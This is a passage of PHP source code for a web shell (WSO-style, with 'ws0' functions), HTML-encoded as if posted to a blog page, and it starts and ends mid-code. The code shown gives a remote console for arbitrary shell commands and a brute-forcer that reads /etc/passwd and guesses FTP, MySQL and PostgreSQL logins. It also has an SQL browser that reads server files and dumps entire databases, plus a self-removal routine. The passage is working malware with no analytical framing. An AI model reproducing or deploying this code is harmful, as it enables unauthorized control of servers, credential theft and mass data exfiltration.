\/>\n}<br \/>\n&lt;\/script&gt;&#8221;;<br \/>\necho &#8216;&lt;h1&gt;Console&lt;\/h1&gt;&lt;div class=content&gt;&lt;form name=cf onsubmit=&#8221;if(d.cf.cmd.value==\\&#8217;clear\\&#8217;){d.cf.output.value=\\&#8217;\\&#8217;;d.cf.cmd.value=\\&#8217;\\&#8217;;return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\&#8217;\\&#8217;);}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\&#8217;\\&#8217;);} return false;&#8221;&gt;&lt;select name=alias&gt;&#8217;;<br \/>\nforeach($GLOBALS[&#8216;aliases&#8217;] as $n =&gt; $v) {<br \/>\nif($v == &#8221;) {<br \/>\necho &#8216;&lt;optgroup label=&#8221;-&#8216;.htmlspecialchars($n).&#8217;-&#8220;&gt;&lt;\/optgroup&gt;&#8217;;<br \/>\ncontinue;<br \/>\n}<br \/>\necho &#8216;&lt;option value=&#8221;&#8216;.htmlspecialchars($v).'&#8221;&gt;&#8217;.$n.'&lt;\/option&gt;&#8217;;<br \/>\n}<\/p>\n<p>echo &#8216;&lt;\/select&gt;&lt;input type=button onclick=&#8221;add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\&#8217;\\&#8217;);}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\&#8217;\\&#8217;);}&#8221; value=&#8221;&gt;&gt;&#8221;&gt; &lt;nobr&gt;&lt;input type=checkbox name=ajax value=1 &#8216;.(@$_COOKIE[md5($_SERVER[&#8216;HTTP_HOST&#8217;]).&#8217;ajax&#8217;]?&#8217;checked&#8217;:&#8221;).&#8217;&gt; send using AJAX &lt;input type=checkbox name=show_errors value=1 &#8216;.(!empty($_POST[&#8216;p&#8217;.&#8217;2&#8242;])||$_COOKIE[md5($_SERVER[&#8216;HTTP_HOST&#8217;]).&#8217;stderr_to_out&#8217;]?&#8217;checked&#8217;:&#8221;).&#8217;&gt; redirect stderr to stdout (2&gt;&amp;1)&lt;\/nobr&gt;&lt;br\/&gt;&lt;textarea class=bigarea name=output style=&#8221;border-bottom:0;margin:0;&#8221; readonly&gt;&#8217;;<br \/>\nif(!empty($_POST[&#8216;p&#8217;.&#8217;1&#8242;])) {<br \/>\necho htmlspecialchars(&#8220;$ &#8220;.$_POST[&#8216;p&#8217;.&#8217;1&#8242;].&#8221;\\n&#8221;.ws0Ex($_POST[&#8216;p&#8217;.&#8217;1&#8242;]));<br \/>\n}<br \/>\necho &#8216;&lt;\/textarea&gt;&lt;table style=&#8221;border:1px solid #df5;background-color:#555;border-top:0px;&#8221; cellpadding=0 cellspacing=0 width=&#8221;100%&#8221;&gt;&lt;tr&gt;&lt;td width=&#8221;1%&#8221;&gt;$&lt;\/td&gt;&lt;td&gt;&lt;input type=text name=cmd style=&#8221;border:0px;width:100%;&#8221; onkeydown=&#8221;kp(event);&#8221;&gt;&lt;\/td&gt;&lt;\/tr&gt;&lt;\/table&gt;&#8217;;<br \/>\necho &#8216;&lt;\/form&gt;&lt;\/div&gt;&lt;script&gt;d.cf.cmd.focus();&lt;\/script&gt;&#8217;;<br \/>\nws0Footer();<br \/>\n}<\/p>\n<p>function actionLogout() {<br \/>\nsetcookie(md5($_SERVER[&#8216;HTTP_HOST&#8217;]), &#8221;, time() &#8211; 3600);<br \/>\ndie(&#8216;bye!&#8217;);<br \/>\n}<\/p>\n<p>function actionSelfRemove() {<\/p>\n<p>if($_POST[&#8216;p&#8217;.&#8217;1&#8242;] == &#8216;yes&#8217;)<br \/>\nif(@unlink(preg_replace(&#8216;!\\(\\d+\\)\\s.*!&#8217;, &#8221;, __FILE__)))<br \/>\ndie(&#8216;Shell has been removed&#8217;);<br \/>\nelse<br \/>\necho &#8216;unlink error!&#8217;;<br \/>\nif($_POST[&#8216;p&#8217;.&#8217;1&#8242;] != &#8216;yes&#8217;)<br \/>\nws0Header();<br \/>\necho &#8216;&lt;h1&gt;remove me&lt;\/h1&gt;&lt;div class=content&gt;Really want to remove the shell?&lt;br&gt;&lt;a href=# onclick=&#8221;g(null,null,\\&#8217;yes\\&#8217;)&#8221;&gt;Yes&lt;\/a&gt;&lt;\/div&gt;&#8217;;<br \/>\nws0Footer();<br \/>\n}<\/p>\n<p>function actionBruteforce() {<br \/>\nws0Header();<br \/>\nif( isset($_POST[&#8216;proto&#8217;]) ) {<br \/>\necho &#8216;&lt;h1&gt;Results&lt;\/h1&gt;&lt;div class=content&gt;&lt;span&gt;Type:&lt;\/span&gt; &#8216;.htmlspecialchars($_POST[&#8216;proto&#8217;]).&#8217; &lt;span&gt;Server:&lt;\/span&gt; &#8216;.htmlspecialchars($_POST[&#8216;server&#8217;]).'&lt;br&gt;&#8217;;<br \/>\nif( $_POST[&#8216;proto&#8217;] == &#8216;ftp&#8217; ) {<br \/>\nfunction ws0BruteForce($ip,$port,$login,$pass) {<br \/>\n$fp = @ftp_connect($ip, $port?$port:21);<br \/>\nif(!$fp) return false;<br \/>\n$res = @ftp_login($fp, $login, $pass);<br \/>\n@ftp_close($fp);<br \/>\nreturn $res;<br \/>\n}<br \/>\n} elseif( $_POST[&#8216;proto&#8217;] == &#8216;mysql&#8217; ) {<br \/>\nfunction ws0BruteForce($ip,$port,$login,$pass) {<br \/>\n$res = @mysql_connect($ip.&#8217;:&#8217;.($port?$port:3306), $login, $pass);<br \/>\n@mysql_close($res);<br \/>\nreturn $res;<br \/>\n}<br \/>\n} elseif( $_POST[&#8216;proto&#8217;] == &#8216;pgsql&#8217; ) {<br \/>\nfunction ws0BruteForce($ip,$port,$login,$pass) {<br \/>\n$str = &#8220;host='&#8221;.$ip.&#8221;&#8216; port='&#8221;.$port.&#8221;&#8216; user='&#8221;.$login.&#8221;&#8216; password='&#8221;.$pass.&#8221;&#8216; dbname=postgres&#8221;;<br \/>\n$res = @pg_connect($str);<br \/>\n@pg_close($res);<br \/>\nreturn $res;<br \/>\n}<br \/>\n}<br \/>\n$success = 0;<br \/>\n$attempts = 0;<br \/>\n$server = explode(&#8220;:&#8221;, $_POST[&#8216;server&#8217;]);<br \/>\nif($_POST[&#8216;type&#8217;] == 1) {<br \/>\n$temp = @file(&#8216;\/etc\/pas&#8217;.&#8217;swd&#8217;);<br \/>\nif( is_array($temp) )<br \/>\nforeach($temp as $line) {<br \/>\n$line = explode(&#8220;:&#8221;, $line);<br \/>\n++$attempts;<br \/>\nif( ws0BruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {<br \/>\n$success++;<br \/>\necho &#8216;&lt;b&gt;&#8217;.htmlspecialchars($line[0]).'&lt;\/b&gt;:&#8217;.htmlspecialchars($line[0]).'&lt;br&gt;&#8217;;<br \/>\n}<br \/>\nif(@$_POST[&#8216;reverse&#8217;]) {<br \/>\n$tmp = &#8220;&#8221;;<br \/>\nfor($i=strlen($line[0])-1; $i&gt;=0; &#8211;$i)<br \/>\n$tmp .= $line[0][$i];<br \/>\n++$attempts;<br \/>\nif( ws0BruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {<br \/>\n$success++;<br \/>\necho &#8216;&lt;b&gt;&#8217;.htmlspecialchars($line[0]).'&lt;\/b&gt;:&#8217;.htmlspecialchars($tmp);<br \/>\n}<br \/>\n}<br \/>\n}<br \/>\n} elseif($_POST[&#8216;type&#8217;] == 2) {<br \/>\n$temp = @file($_POST[&#8216;dict&#8217;]);<br \/>\nif( is_array($temp) )<br \/>\nforeach($temp as $line) {<br \/>\n$line = trim($line);<br \/>\n++$attempts;<br \/>\nif( ws0BruteForce($server[0],@$server[1], $_POST[&#8216;login&#8217;], $line) ) {<br \/>\n$success++;<br \/>\necho &#8216;&lt;b&gt;&#8217;.htmlspecialchars($_POST[&#8216;login&#8217;]).'&lt;\/b&gt;:&#8217;.htmlspecialchars($line).'&lt;br&gt;&#8217;;<br \/>\n}<br \/>\n}<br \/>\n}<br \/>\necho &#8220;&lt;span&gt;Attempts:&lt;\/span&gt; $attempts &lt;span&gt;Success:&lt;\/span&gt; $success&lt;\/div&gt;&lt;br&gt;&#8221;;<br \/>\n}<br \/>\necho &#8216;&lt;h1&gt;Bruteforce&lt;\/h1&gt;&lt;div class=content&gt;&lt;table&gt;&lt;form method=post&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;Type&lt;\/span&gt;&lt;\/td&gt;&#8217;<br \/>\n.'&lt;td&gt;&lt;select name=proto&gt;&lt;option value=ftp&gt;FTP&lt;\/option&gt;&lt;option value=mysql&gt;MySql&lt;\/option&gt;&lt;option value=pgsql&gt;PostgreSql&lt;\/option&gt;&lt;\/select&gt;&lt;\/td&gt;&lt;\/tr&gt;&lt;tr&gt;&lt;td&gt;&#8217;<br \/>\n.'&lt;input type=hidden name=c value=&#8221;&#8216;.htmlspecialchars($GLOBALS[&#8216;cwd&#8217;]).'&#8221;&gt;&#8217;<br \/>\n.'&lt;input type=hidden name=a value=&#8221;&#8216;.htmlspecialchars($_POST[&#8216;a&#8217;]).'&#8221;&gt;&#8217;<br \/>\n.'&lt;input type=hidden name=charset value=&#8221;&#8216;.htmlspecialchars($_POST[&#8216;charset&#8217;]).'&#8221;&gt;&#8217;<br \/>\n.'&lt;span&gt;Server:port&lt;\/span&gt;&lt;\/td&gt;&#8217;<br \/>\n.'&lt;td&gt;&lt;input type=text name=server value=&#8221;127.0.0.1&#8243;&gt;&lt;\/td&gt;&lt;\/tr&gt;&#8217;<br \/>\n.'&lt;tr&gt;&lt;td&gt;&lt;span&gt;Brute type&lt;\/span&gt;&lt;\/td&gt;&#8217;<br \/>\n.'&lt;td&gt;&lt;label&gt;&lt;input type=radio name=type value=&#8221;1&#8243; checked&gt; \/etc\/ pa sswd&lt;\/label&gt;&lt;\/td&gt;&lt;\/tr&gt;&#8217;<br \/>\n.'&lt;tr&gt;&lt;td&gt;&lt;\/td&gt;&lt;td&gt;&lt;label style=&#8221;padding-left:15px&#8221;&gt;&lt;input type=checkbox name=reverse value=1 checked&gt; reverse (login -&gt; nigol)&lt;\/label&gt;&lt;\/td&gt;&lt;\/tr&gt;&#8217;<br \/>\n.'&lt;tr&gt;&lt;td&gt;&lt;\/td&gt;&lt;td&gt;&lt;label&gt;&lt;input type=radio name=type value=&#8221;2&#8243;&gt; Dictionary&lt;\/label&gt;&lt;\/td&gt;&lt;\/tr&gt;&#8217;<br \/>\n.'&lt;tr&gt;&lt;td&gt;&lt;\/td&gt;&lt;td&gt;&lt;table style=&#8221;padding-left:15px&#8221;&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;Login&lt;\/span&gt;&lt;\/td&gt;&#8217;<br \/>\n.'&lt;td&gt;&lt;input type=text name=login value=&#8221;root&#8221;&gt;&lt;\/td&gt;&lt;\/tr&gt;&#8217;<br \/>\n.'&lt;tr&gt;&lt;td&gt;&lt;span&gt;Dictionary&lt;\/span&gt;&lt;\/td&gt;&#8217;<br \/>\n.'&lt;td&gt;&lt;input type=text name=dict value=&#8221;&#8216;.htmlspecialchars($GLOBALS[&#8216;cwd&#8217;]).&#8217;passwd.dic&#8221;&gt;&lt;\/td&gt;&lt;\/tr&gt;&lt;\/table&gt;&#8217;<br \/>\n.'&lt;\/td&gt;&lt;\/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;\/td&gt;&lt;td&gt;&lt;input type=submit value=&#8221;&gt;&gt;&#8221;&gt;&lt;\/td&gt;&lt;\/tr&gt;&lt;\/form&gt;&lt;\/table&gt;&#8217;;<br \/>\necho &#8216;&lt;\/div&gt;&lt;br&gt;&#8217;;<br \/>\nws0Footer();<br \/>\n}<\/p>\n<p>function actionSql() {<br \/>\nclass DbClass {<br \/>\nvar $type;<br \/>\nvar $link;<br \/>\nvar $res;<br \/>\nfunction DbClass($type) {<br \/>\n$this-&gt;type = $type;<br \/>\n}<br \/>\nfunction connect($host, $user, $pass, $dbname){<br \/>\nswitch($this-&gt;type) {<br \/>\ncase &#8216;mysql&#8217;:<br \/>\nif( $this-&gt;link = @mysql_connect($host,$user,$pass,true) ) return true;<br \/>\nbreak;<br \/>\ncase &#8216;pgsql&#8217;:<br \/>\n$host = explode(&#8216;:&#8217;, $host);<br \/>\nif(!$host[1]) $host[1]=5432;<br \/>\nif( $this-&gt;link = @pg_connect(&#8220;host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname&#8221;) ) return true;<br \/>\nbreak;<br \/>\n}<br \/>\nreturn false;<br \/>\n}<br \/>\nfunction selectdb($db) {<br \/>\nswitch($this-&gt;type) {<br \/>\ncase &#8216;mysql&#8217;:<br \/>\nif (@mysql_select_db($db))return true;<br \/>\nbreak;<br \/>\n}<br \/>\nreturn false;<br \/>\n}<br \/>\nfunction query($str) {<br \/>\nswitch($this-&gt;type) {<br \/>\ncase &#8216;mysql&#8217;:<br \/>\nreturn $this-&gt;res = @mysql_query($str);<br \/>\nbreak;<br \/>\ncase &#8216;pgsql&#8217;:<br \/>\nreturn $this-&gt;res = @pg_query($this-&gt;link,$str);<br \/>\nbreak;<br \/>\n}<br \/>\nreturn false;<br \/>\n}<br \/>\nfunction fetch() {<br \/>\n$res = func_num_args()?func_get_arg(0):$this-&gt;res;<br \/>\nswitch($this-&gt;type) {<br \/>\ncase &#8216;mysql&#8217;:<br \/>\nreturn @mysql_fetch_assoc($res);<br \/>\nbreak;<br \/>\ncase &#8216;pgsql&#8217;:<br \/>\nreturn @pg_fetch_assoc($res);<br \/>\nbreak;<br \/>\n}<br \/>\nreturn false;<br \/>\n}<br \/>\nfunction listDbs() {<br \/>\nswitch($this-&gt;type) {<br \/>\ncase &#8216;mysql&#8217;:<br \/>\nreturn $this-&gt;query(&#8220;SHOW databases&#8221;);<br \/>\nbreak;<br \/>\ncase &#8216;pgsql&#8217;:<br \/>\nreturn $this-&gt;res = $this-&gt;query(&#8220;SELECT datname FROM pg_database WHERE datistemplate!=&#8217;t'&#8221;);<br \/>\nbreak;<br \/>\n}<br \/>\nreturn false;<br \/>\n}<br \/>\nfunction listTables() {<br \/>\nswitch($this-&gt;type) {<br \/>\ncase &#8216;mysql&#8217;:<br \/>\nreturn $this-&gt;res = $this-&gt;query(&#8216;SHOW TABLES&#8217;);<br \/>\nbreak;<br \/>\ncase &#8216;pgsql&#8217;:<br \/>\nreturn $this-&gt;res = $this-&gt;query(&#8220;select table_name from information_schema.tables where table_schema != &#8216;information_schema&#8217; AND table_schema != &#8216;pg_catalog'&#8221;);<br \/>\nbreak;<br \/>\n}<br \/>\nreturn false;<br \/>\n}<br \/>\nfunction error() {<br \/>\nswitch($this-&gt;type) {<br \/>\ncase &#8216;mysql&#8217;:<br \/>\nreturn @mysql_error();<br \/>\nbreak;<br \/>\ncase &#8216;pgsql&#8217;:<br \/>\nreturn @pg_last_error();<br \/>\nbreak;<br \/>\n}<br \/>\nreturn false;<br \/>\n}<br \/>\nfunction setCharset($str) {<br \/>\nswitch($this-&gt;type) {<br \/>\ncase &#8216;mysql&#8217;:<br \/>\nif(function_exists(&#8216;mysql_set_charset&#8217;))<br \/>\nreturn @mysql_set_charset($str, $this-&gt;link);<br \/>\nelse<br \/>\n$this-&gt;query(&#8216;SET CHARSET &#8216;.$str);<br \/>\nbreak;<br \/>\ncase &#8216;pgsql&#8217;:<br \/>\nreturn @pg_set_client_encoding($this-&gt;link, $str);<br \/>\nbreak;<br \/>\n}<br \/>\nreturn false;<br \/>\n}<br \/>\nfunction loadFile($str) {<br \/>\nswitch($this-&gt;type) {<br \/>\ncase &#8216;mysql&#8217;:<br \/>\nreturn $this-&gt;fetch($this-&gt;query(&#8220;SELECT LOAD_FILE(&#8216;&#8221;.addslashes($str).&#8221;&#8216;) as file&#8221;));<br \/>\nbreak;<br \/>\ncase &#8216;pgsql&#8217;:<br \/>\n$this-&gt;query(&#8220;CREATE TABLE ws02(file text);COPY ws02 FROM &#8216;&#8221;.addslashes($str).&#8221;&#8216;;select file from ws02;&#8221;);<br \/>\n$r=array();<br \/>\nwhile($i=$this-&gt;fetch())<br \/>\n$r[] = $i[&#8216;file&#8217;];<br \/>\n$this-&gt;query(&#8216;drop table ws02&#8217;);<br \/>\nreturn array(&#8216;file&#8217;=&gt;implode(&#8220;\\n&#8221;,$r));<br \/>\nbreak;<br \/>\n}<br \/>\nreturn false;<br \/>\n}<br \/>\nfunction dump($table, $fp = false) {<br \/>\nswitch($this-&gt;type) {<br \/>\ncase &#8216;mysql&#8217;:<br \/>\n$res = $this-&gt;query(&#8216;SHOW CREATE TABLE `&#8217;.$table.&#8217;`&#8217;);<br \/>\n$create = mysql_fetch_array($res);<br \/>\n$sql = $create[1].&#8221;;\\n&#8221;;<br \/>\nif($fp) fwrite($fp, $sql); else echo($sql);<br \/>\n$this-&gt;query(&#8216;SELECT * FROM `&#8217;.$table.&#8217;`&#8217;);<br \/>\n$i = 0;<br \/>\n$head = true;<br \/>\nwhile($item = $this-&gt;fetch()) {<br \/>\n$sql = &#8221;;<br \/>\nif($i % 1000 == 0) {<br \/>\n$head = true;<br \/>\n$sql = &#8220;;\\n\\n&#8221;;<br \/>\n}<\/p>\n<p>$columns = array();<br \/>\nforeach($item as $k=&gt;$v) {<br \/>\nif($v === null)<br \/>\n$item[$k] = &#8220;NULL&#8221;;<br \/>\nelseif(is_int($v))<br \/>\n$item[$k] = $v;<br \/>\nelse<br \/>\n$item[$k] = &#8220;&#8216;&#8221;.@mysql_real_escape_string($v).&#8221;&#8216;&#8221;;<br \/>\n$columns[] = &#8220;`&#8221;.$k.&#8221;`&#8221;;<br \/>\n}<br \/>\nif($head) {<br \/>\n$sql .= &#8216;INSERT INTO `&#8217;.$table.&#8217;` (&#8216;.implode(&#8220;, &#8220;, $columns).&#8221;) VALUES \\n\\t(&#8220;.implode(&#8220;, &#8220;, $item).&#8217;)&#8217;;<br \/>\n$head = false;<br \/>\n} else<br \/>\n$sql .= &#8220;\\n\\t,(&#8220;.implode(&#8220;, &#8220;, $item).&#8217;)&#8217;;<br \/>\nif($fp) fwrite($fp, $sql); else echo($sql);<br \/>\n$i++;<br \/>\n}<br \/>\nif(!$head)<br \/>\nif($fp) fwrite($fp, &#8220;;\\n\\n&#8221;); else echo(&#8220;;\\n\\n&#8221;);<br \/>\nbreak;<br \/>\ncase &#8216;pgsql&#8217;:<br \/>\n$this-&gt;query(&#8216;SELECT * FROM &#8216;.$table);<br \/>\nwhile($item = $this-&gt;fetch()) {<br \/>\n$columns = array();<br \/>\nforeach($item as $k=&gt;$v) {<br \/>\n$item[$k] = &#8220;&#8216;&#8221;.addslashes($v).&#8221;&#8216;&#8221;;<br \/>\n$columns[] = $k;<br \/>\n}<br \/>\n$sql = &#8216;INSERT INTO &#8216;.$table.&#8217; (&#8216;.implode(&#8220;, &#8220;, $columns).&#8217;) VALUES (&#8216;.implode(&#8220;, &#8220;, $item).&#8217;);&#8217;.&#8221;\\n&#8221;;<br \/>\nif($fp) fwrite($fp, $sql); else echo($sql);<br \/>\n}<br \/>\nbreak;<br \/>\n}<br \/>\nreturn false;<br \/>\n}<br \/>\n};<br \/>\n$db = new DbClass($_POST[&#8216;type&#8217;]);<br \/>\nif((@$_POST[&#8216;p&#8217;.&#8217;2&#8242;]==&#8217;download&#8217;) &amp;&amp; (@$_POST[&#8216;p&#8217;.&#8217;1&#8242;]!=&#8217;select&#8217;)) {<br \/>\n$db-&gt;connect($_POST[&#8216;sql_host&#8217;], $_POST[&#8216;sql_login&#8217;], $_POST[&#8216;sql_pass&#8217;], $_POST[&#8216;sql_base&#8217;]);<br \/>\n$db-&gt;selectdb($_POST[&#8216;sql_base&#8217;]);<br \/>\nswitch($_POST[&#8216;charset&#8217;]) {<br \/>\ncase &#8220;Windows-1251&#8221;: $db-&gt;setCharset(&#8216;cp1251&#8217;); break;<br \/>\ncase &#8220;UTF-8&#8221;: $db-&gt;setCharset(&#8216;utf8&#8217;); break;<br \/>\ncase &#8220;KOI8-R&#8221;: $db-&gt;setCharset(&#8216;koi8r&#8217;); break;<br \/>\ncase &#8220;KOI8-U&#8221;: $db-&gt;setCharset(&#8216;koi8u&#8217;); break;<br \/>\ncase &#8220;cp866&#8221;: $db-&gt;setCharset(&#8216;cp866&#8217;); break;<br \/>\n}<br \/>\nif(empty($_POST[&#8216;file&#8217;])) {<br \/>\nob_start(&#8220;ob_gzhandler&#8221;, 4096);<br \/>\nheader(&#8220;Content-Disposition: attachment; filename=dump.sql&#8221;);<br \/>\nheader(&#8220;Content-Type: text\/plain&#8221;);<br \/>\nforeach($_POST[&#8216;tbl&#8217;] as $v)<br \/>\n$db-&gt;dump($v);<br \/>\nexit;<br \/>\n} elseif($fp = @fopen($_POST[&#8216;file&#8217;], &#8216;w&#8217;)) {<br \/>\nforeach($_POST[&#8216;tbl&#8217;] as $v)<br \/>\n$db-&gt;dump($v, $fp);<br \/>\nfclose($fp);<br \/>\nunset($_POST[&#8216;p&#8217;.&#8217;2&#8242;]);<br \/>\n} else<br \/>\ndie(&#8216;&lt;script&gt;alert(&#8220;Error! Can\\&#8217;t open file&#8221;);window.history.back(-1)&lt;\/script&gt;&#8217;);<br \/>\n}<br \/>\nws0Header();<br \/>\necho &#8221;<br \/>\n&lt;h1&gt;Sql browser&lt;\/h1&gt;&lt;div class=content&gt;<br \/>\n&lt;form name=&#8217;sf&#8217; method=&#8217;post&#8217; onsubmit=&#8217;fs(this);&#8217;&gt;&lt;table cellpadding=&#8217;2&#8242; cellspacing=&#8217;0&#8242;&gt;&lt;tr&gt;<br \/>\n&lt;td&gt;Type&lt;\/td&gt;&lt;td&gt;Host&lt;\/td&gt;&lt;td&gt;Login&lt;\/td&gt;&lt;td&gt;Password&lt;\/td&gt;&lt;td&gt;Database&lt;\/td&gt;&lt;td&gt;&lt;\/td&gt;&lt;\/tr&gt;&lt;tr&gt;<br \/>\n&lt;input type=hidden name=a value=Sql&gt;&lt;input type=hidden name=p1 value=&#8217;query&#8217;&gt;&lt;input type=hidden name=p2 value=&#8221;&gt;&lt;input type=hidden name=c value='&#8221;. htmlspecialchars($GLOBALS[&#8216;cwd&#8217;]) .&#8221;&#8216;&gt;&lt;input type=hidden name=charset value='&#8221;. (isset($_POST[&#8216;charset&#8217;])?$_POST[&#8216;charset&#8217;]:&#8221;) .&#8221;&#8216;&gt;<br \/>\n&lt;td&gt;&lt;select name=&#8217;type&#8217;&gt;&lt;option value=&#8217;mysql&#8217; &#8220;;<br \/>\nif(@$_POST[&#8216;type&#8217;]==&#8217;mysql&#8217;)echo &#8216;selected&#8217;;<br \/>\necho &#8220;&gt;MySql&lt;\/option&gt;&lt;option value=&#8217;pgsql&#8217; &#8220;;<br \/>\nif(@$_POST[&#8216;type&#8217;]==&#8217;pgsql&#8217;)echo &#8216;selected&#8217;;<br \/>\necho &#8220;&gt;PostgreSql&lt;\/option&gt;&lt;\/select&gt;&lt;\/td&gt;<br \/>\n&lt;td&gt;&lt;input type=text name=sql_host value=\\&#8221;&#8221;. (empty($_POST[&#8216;sql_host&#8217;])?&#8217;localhost&#8217;:htmlspecialchars($_POST[&#8216;sql_host&#8217;])) .&#8221;\\&#8221;&gt;&lt;\/td&gt;<br \/>\n&lt;td&gt;&lt;input type=text name=sql_login value=\\&#8221;&#8221;. (empty($_POST[&#8216;sql_login&#8217;])?&#8217;root&#8217;:htmlspecialchars($_POST[&#8216;sql_login&#8217;])) .&#8221;\\&#8221;&gt;&lt;\/td&gt;<br \/>\n&lt;td&gt;&lt;input type=text name=sql_pass value=\\&#8221;&#8221;. (empty($_POST[&#8216;sql_pass&#8217;])?&#8221;:htmlspecialchars($_POST[&#8216;sql_pass&#8217;])) .&#8221;\\&#8221;&gt;&lt;\/td&gt;&lt;td&gt;&#8221;;<br \/>\n$tmp = &#8220;&lt;input type=text name=sql_base value=&#8221;&gt;&#8221;;<br \/>\nif(isset($_POST[&#8216;sql_host&#8217;])){<br \/>\nif($db-&gt;connect($_POST[&#8216;sql_host&#8217;], $_POST[&#8216;sql_login&#8217;], $_POST[&#8216;sql_pass&#8217;], $_POST[&#8216;sql_base&#8217;])) {<br \/>\nswitch($_POST[&#8216;charset&#8217;]) {<br \/>\ncase &#8220;Windows-1251&#8221;: $db-&gt;setCharset(&#8216;cp1251&#8217;); break;<br \/>\ncase &#8220;UTF-8&#8221;: $db-&gt;setCharset(&#8216;utf8&#8217;); break;<br \/>\ncase &#8220;KOI8-R&#8221;: $db-&gt;setCharset(&#8216;koi8r&#8217;); break;<br \/>\ncase &#8220;KOI8-U&#8221;: $db-&gt;setCharset(&#8216;koi8u&#8217;); break;<br \/>\ncase &#8220;cp866&#8221;: $db-&gt;setCharset(&#8216;cp866&#8217;); break;<br \/>\n}<br \/>\n$db-&gt;listDbs();<br \/>\necho &#8220;&lt;select name=sql_base&gt;&lt;option value=&#8221;&gt;&lt;\/option&gt;&#8221;;<br \/>\nwhile($item = $db-&gt;fetch()) {<br \/>\nlist($key, $value) = each($item);<br \/>\necho &#8216;&lt;option value=&#8221;&#8216;.$value.'&#8221; &#8216;.($value==$_POST[&#8216;sql_base&#8217;]?&#8217;selected&#8217;:&#8221;).&#8217;&gt;&#8217;.$value.'&lt;\/option&gt;&#8217;;<br \/>\n}<br \/>\necho &#8216;&lt;\/select&gt;&#8217;;<br \/>\n}<br \/>\nelse echo $tmp;<br \/>\n}else<br \/>\necho $tmp;<br \/>\necho &#8220;&lt;\/td&gt;<br \/>\n&lt;td&gt;&lt;input type=submit value=&#8217;&gt;&gt;&#8217; onclick=&#8217;fs(d.sf);&#8217;&gt;&lt;\/td&gt;<br \/>\n&lt;td&gt;&lt;input type=checkbox name=sql_count value=&#8217;on'&#8221; . (empty($_POST[&#8216;sql_count&#8217;])?&#8221;:&#8217; checked&#8217;) . &#8220;&gt; count the number of rows&lt;\/td&gt;<br \/>\n&lt;\/tr&gt;<br \/>\n&lt;\/table&gt;<br \/>\n&lt;script&gt;<br \/>\ns_db='&#8221;.@addslashes($_POST[&#8216;sql_base&#8217;]).&#8221;&#8216;;<br \/>\nfunction fs(f) {<br \/>\nif(f.sql_base.value!=s_db) { f.onsubmit = function() {};<br \/>\nif(f.p1) f.p1.value=&#8221;;<br \/>\nif(f.p2) f.p2.value=&#8221;;<br \/>\nif(f.p3) f.p3.value=&#8221;;<br \/>\n}<br \/>\n}<br \/>\nfunction st(t,l) {<br \/>\nd.sf.p1.value = &#8216;select&#8217;;<br \/>\nd.sf.p2.value = t;<br \/>\nif(l &amp;&amp; d.sf.p3) d.sf.p3.value = l;<br \/>\nd.sf.submit();<br \/>\n}<br \/>\nfunction is() {<br \/>\nfor(i=0;i&lt;d.sf.elements[&#8216;tbl[]&#8217;].length;++i)<br \/>\nd.sf.elements[&#8216;tbl[]&#8217;][i].checked = !d.sf.elements[&#8216;tbl[]&#8217;][i].checked;<br \/>\n}<br \/>\n&lt;\/script&gt;&#8221;;<br \/>\nif(isset($db) &amp;&amp; $db-&gt;link){<br \/>\necho &#8220;&lt;br\/&gt;&lt;table width=100% cellpadding=2 cellspacing=0&gt;&#8221;;<br \/>\nif(!empty($_POST[&#8216;sql_base&#8217;])){<br \/>\n$db-&gt;selectdb($_POST[&#8216;sql_base&#8217;]);<br \/>\necho &#8220;&lt;tr&gt;&lt;td width=1 style=&#8217;border-top:2px solid #666;&#8217;&gt;&lt;span&gt;Tables:&lt;\/span&gt;&lt;br&gt;&lt;br&gt;&#8221;;<br \/>\n$tbls_res = $db-&gt;listTables();<br \/>\nwhile($item = $db-&gt;fetch($tbls_res)) {<br \/>\nlist($key, $value) = each($item);<br \/>\nif(!empty($_POST[&#8216;sql_count&#8217;]))<br \/>\n$n = $db-&gt;fetch($db-&gt;query(&#8216;SELECT COUNT(*) as n FROM &#8216;.$value.&#8221;));<br \/>\n$value = htmlspecialchars($value);<br \/>\necho &#8220;&lt;nobr&gt;&lt;input type=&#8217;checkbox&#8217; name=&#8217;tbl[]&#8217; value='&#8221;.$value.&#8221;&#8216;&gt;&amp;nbsp;&lt;a href=# onclick=\\&#8221;st(&#8216;&#8221;.$value.&#8221;&#8216;,1)\\&#8221;&gt;&#8221;.$value.&#8221;&lt;\/a&gt;&#8221; . (empty($_POST[&#8216;sql_count&#8217;])?&#8217;&amp;nbsp;&#8217;:&#8221; &lt;small&gt;({$n[&#8216;n&#8217;]})&lt;\/small&gt;&#8221;) . &#8220;&lt;\/nobr&gt;&lt;br&gt;&#8221;;<br \/>\n}<br \/>\necho &#8220;&lt;input type=&#8217;checkbox&#8217; onclick=&#8217;is();&#8217;&gt; &lt;input type=button value=&#8217;Dump&#8217; onclick=&#8217;document.sf.p2.value=\\&#8221;download\\&#8221;;document.sf.submit();&#8217;&gt;&lt;br&gt;File path:&lt;input type=text name=file value=&#8217;dump.sql&#8217;&gt;&lt;\/td&gt;&lt;td style=&#8217;border-top:2px solid #666;&#8217;&gt;&#8221;;<br \/>\nif(@$_POST[&#8216;p&#8217;.&#8217;1&#8242;] == &#8216;select&#8217;) {<br \/>\n$_POST[&#8216;p&#8217;.&#8217;1&#8242;] = &#8216;query&#8217;;<br \/>\n$_POST[&#8216;p&#8217;.&#8217;3&#8242;] = $_POST[&#8216;p&#8217;.&#8217;3&#8242;]?$_POST[&#8216;p&#8217;.&#8217;3&#8242;]:1;<br \/>\n$db-&gt;query(&#8216;SELECT COUNT(*) as n FROM &#8216; . $_POST[&#8216;p&#8217;.&#8217;2&#8242;]);<br \/>\n$num = $db-&gt;fetch();<br \/>\n$pages = ceil($num[&#8216;n&#8217;] \/ 30);<br \/>\necho &#8220;&lt;script&gt;d.sf.onsubmit=function(){st(\\&#8221;&#8221; . $_POST[&#8216;p&#8217;.&#8217;2&#8242;] . &#8220;\\&#8221;, 